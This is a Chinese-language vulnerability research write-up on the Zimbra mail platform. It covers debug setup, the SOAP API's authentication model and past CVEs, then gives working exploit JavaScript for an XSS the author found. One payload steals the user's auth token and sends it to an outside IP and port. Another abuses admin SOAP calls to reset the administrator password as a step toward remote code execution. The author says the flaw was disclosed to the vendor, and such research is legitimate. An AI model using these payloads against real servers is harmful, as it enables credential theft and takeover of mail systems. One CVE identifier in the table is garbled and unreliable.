邮服、协作
Zimbra 是一个电子邮件和协作平台,包括聊天、视频会议、日历、 联系人、任务、文件共享/编辑,并且集成了Slack、Zoom、Dropbox 等内置功能。500 多个SaaS 合作伙伴以及2000 多家经销商都在使用 Zimbra 的产品。Zimbra 是全球开源电子邮件协作软件领域的领先供应商。
大中小型企业及政府部门
暂无
搭建之前本机需要配置好DNS服务
https://cloud.tencent.com/developer/article/1112133
https://abanger.github.io/CentOS/CentOS7_DNS_setting/
安装包下存在./install.sh 自动拉取最新依赖包安装,插件默认即可,配置admin密码等信息
开源版本安装后8443为邮件服务器应用端口,7071为admin后台管理端口
首先停止zimbra服务,并添加调试信息开启debug
su zimbra
zmcontrol stop
su
cp /opt/zimbra/libexec/zmmailboxdmgr /opt/zimbra/libexec/zmmailboxdmgr.old
cp /opt/zimbra/libexec/zmmailboxdmgr.unrestricted /opt/zimbra/libexec/zmmailboxdmgr
su zimbra
zmlocalconfig -e mailboxd_java_options="`zmlocalconfig -m nokey mailboxd_java_options` -Xdebug -Xnoagent -Djava.compiler=NONE -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:8000"
重启服务
zmcontrol start
获取/opt/zimbra 下所有jar包导入idea进行调试
service、zimbra、zimbraAdmin 三个webapp分别都有web.xml,web.xml 中定义了诸多独立的servlet,其中SoapServlet对应SOAP API,通过Zimbra SOAP API能够对Zimbra邮件服务器的资源进行访问和修改
Zimbra SOAP API包括以下命名空间:
zimbraAccount
zimbraAdmin
zimbraAdminExt
zimbraMail
zimbraRepl
zimbraSync
zimbraVoice 每个命名空间下对应不同的操作命令,其中常用的命名空间有以下三个:
zimbraAdmin,Zimbra邮件服务器的管理接口,需要管理员权限
zimbraAccount,同Zimbra用户相关的操作
zimbraMail,同zimbra邮件的操作
校验ZM_AUTH_TOKEN及ZM_ADMIN_AUTH_TOKEN,后者为管理员权限,TOKEN类似于JWT,生成过程较为安全,每个系统采用动态生成的key
三个web主体主要分析三个类型,每个都存在未授权访问的接口,zimbra还对每个servlet进行了端口访问控制
众多servlet都通过com.zimbra.cs.service.UserServlet#checkAuthentication进行身份校验,需要认证后的用户才可以访问,当然部分servlet不需要身份认证
SOAP API 处理类都为com.zimbra.soap.DocumentHandler#handle,其它处理类都继承于这个类,默认needsAuth返回为true,needsAdminAuth默认为false,只有子类重写了这个方法权限认证才会改变。这里我们又可以得到一批未授权接口
zimbra及zimbraAdmin下存在可访问的jsp文件,通过include进行权限认证
CVE-2019-9670 之后,zimbra全局使用com.zimbra.common.soap.W3cDomUtil处理XML文档,做了DTD的禁用
名称 | 编号 | 危害 | 影响版本 | 备注 |
---|---|---|---|---|
XXE | CVE-2019-9670 | 高危 | < 8.7.4 | |
SSRF | CVE-2019-9621 | 高危 | < 8.7.11,8.8.11 | |
可能的命令执行 | CVE-2020-12846 | 高危 | < 8.8.15 9.0.0 | |
任意用户登录 | CVE-2022-之924 | 高危 | < 8.8.15 9.0.0 |
2.漏洞信息跟进
https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
2 漏洞自动化利用相关
路由信息明确后可以进行简单的自动化污点分析
是一个前台的XSS,由于限制了httponly,所以需要找其它的点来回显cookie进而得到攻击者认证凭证,这也是漏洞评级为high的原因
var xhr = new XMLHttpRequest();
xhr.open('get', '/public/authorize.jsp');
xhr.send();
xhr.onload = function() {
const responseHtml = xhr.response;
const parser = new DOMParser();
const doc = parser.parseFromString(responseHtml, "text/html");
const zauthtokenValue = doc.getElementsByName("zauthtoken")[0].value;
console.log(zauthtokenValue);
// alert(zauthtokenValue);
var script = document.createElement('script');
script.src = 'http://192.168.220.1:9999/?authtoken="'+zauthtokenValue+'.js';
document.body.insertBefore(script, document.body.firstChild);
};
Vulnerability verification screenshot
如果很幸运的我们可以访问到7071端口,那么当管理员点击而已连接时,可以通过js构造发包进行RCE,首先管理员点击后会自动更改密码,然后利用后台接口进行任意文件上传进行RCE,js构造如下:
var xhr = new XMLHttpRequest();
xhr.open("POST", "/service/admin/soap/AuthRequest");
xhr.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");
xhr.send('<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><session xmlns="" id="360"/><authTokenControl xmlns="" voidOnExpired="1"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAdmin" refresh="1"><virtualHost xmlns="">localhost</virtualHost><csrfTokenSecured xmlns="">1</csrfTokenSecured></AuthRequest></soap:Body></soap:Envelope>');
xhr.onload = function() {
var response = JSON.parse(xhr.response);
var csrf_token = response.Body.AuthResponse.csrfToken._content;
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "/service/admin/soap/GetInfoRequest");
xhr2.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");
xhr2.setRequestHeader("X-Zimbra-Csrf-Token", csrf_token);
xhr2.send('<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><session xmlns="" id="360"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><GetInfoRequest xmlns="urn:zimbraAccount"/></soap:Body></soap:Envelope>');
xhr2.onload = function() {
var response = JSON.parse(xhr2.response);
var id= response.Body.GetInfoResponse.id;
var zids = [];
zids.push( id);
console.log(zids.length); // 在这里打印所有的会话。
for (var i = 0; i < zids.length; i++) {
var setPasswordRequest = '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent xmlns="" name="ZimbraWebClient - FF111 (Win)"/><format xmlns="" type="js"/></context></soap:Header><soap:Body><SetPasswordRequest xmlns="urn:zimbraAdmin"><id xmlns="">' + zids[i] + '</id><newPassword xmlns="">7777777</newPassword></SetPasswordRequest></soap:Body></soap:Envelope>';
var xhr3 = new XMLHttpRequest();
xhr3.open("POST", "/service/admin/soap/SetPasswordRequest");
xhr3.setRequestHeader("Content-Type", "application/soap+xml;charset=UTF-8");
xhr3.setRequestHeader("X-Zimbra-Csrf-Token", csrf_token);
xhr3.send(setPasswordRequest);
xhr3.onload = function() {
console.log("Set password for " + zids[i] + ":", xhr3.response);
};
}
};
};
文章分析浅薄,更多攻击面有待继续挖掘
PS:想要RCE这套东西利用难度还是很曲折的,实战基本不太能用,所以选择了交给官方处理,还有一个比较有意思的事情,刚开始挖掘捡到一个SSRF,官方邮件的态度是爱答不理,当这个洞交上去之后,对方极其热情,很痛快的开始修复措施以及分配了漏洞编号,笑死,卑微如我,奶思~